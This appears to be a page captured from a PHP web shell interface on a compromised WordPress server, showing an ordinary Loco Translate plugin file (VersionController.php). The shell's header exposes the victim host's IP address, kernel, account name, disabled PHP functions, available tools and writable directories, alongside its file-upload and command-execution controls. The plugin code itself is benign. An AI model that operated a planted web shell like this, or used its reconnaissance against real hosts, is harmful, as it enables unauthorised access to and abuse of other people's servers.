403Webshell
Server IP : 104.21.28.229  /  Your IP : 216.73.216.142
Web Server : Apache/2
System : Linux hosting8537.lvs 5.4.0-216-generic #236-Ubuntu SMP Fri Apr 11 19:53:21 UTC 2025 x86_64
User : mienphi ( 1014)
PHP Version : 8.2.14
Disable Function : exec,system,passthru,shell_exec,proc_close,proc_open,dl,popen,show_source,posix_kill,posix_mkfifo,posix_getpwuid,posix_setpgid,posix_setsid,posix_setuid,posix_setgid,posix_seteuid,posix_setegid,posix_uname
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/mienphi/public_html/wp-content/plugins/loco-translate/src/admin/config/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/mienphi/public_html/wp-content/plugins/loco-translate/src/admin/config/VersionController.php
<?php
/**
 *  Plugin version / upgrade screen
 */
class Loco_admin_config_VersionController extends Loco_admin_config_BaseController {


    /**
     * {@inheritdoc}
     */
    public function init(){
        parent::init();
        $this->set( 'title', __('Version','loco-translate') );
    }


    /**
     * {@inheritdoc}
     */
    public function render(){
        
        $title = __('Plugin settings','loco-translate');
        $breadcrumb = new Loco_admin_Navigation;
        $breadcrumb->add( $title );
        
        // current plugin version
        $version = loco_plugin_version();
        if( $updates = get_site_transient('update_plugins') ){
            $key = loco_plugin_self();
            if( isset($updates->response[$key]) ){
                $latest = $updates->response[$key]->new_version;
                // if current version is lower than latest, prompt update
                if( version_compare($version,$latest,'<') ){
                    $this->setLocoUpdate($latest);
                }
            }
        }
        // notify if running a development snapshot, but only if ahead of latest stable
        if( '-dev' === substr($version,-4) ){
            $this->set( 'devel', true );
        }
        
        
        // check PHP version, noting that we want to move to minimum version 5.6 as per latest WordPress
        $phpversion = PHP_VERSION;
        if( version_compare($phpversion,'7.4.0','<') ){
            $this->set('phpupdate','7.4');
        }
        
        
        // check WordPress version, No plans to increase this until WP bumps their min PHP requirement.
        $wpversion = $GLOBALS['wp_version'];
        /*if( version_compare($wpversion,'5.2','<') ){
            $this->setWpUpdate('5.2');
        }*/
        
        return $this->view('admin/config/version', compact('breadcrumb','version','phpversion','wpversion') ); 
    }


    /**
     * @param string version
     */
    private function setLocoUpdate( $version ){
        $action = 'upgrade-plugin_'.loco_plugin_self();
        $link = admin_url( 'update.php?action=upgrade-plugin&plugin='.rawurlencode(loco_plugin_self()) );
        $this->set('update', $version );
        $this->set('update_href', wp_nonce_url( $link, $action ) );
    }


    /**
     * @param string minimum recommended version
     *
    private function setWpUpdate( $version ){
        $this->set('wpupdate',$version);
        $this->set('wpupdate_href', admin_url('update-core.php') );
    }*/

    
}

Youez - 2016 - github.com/yon3zu
LinuXploit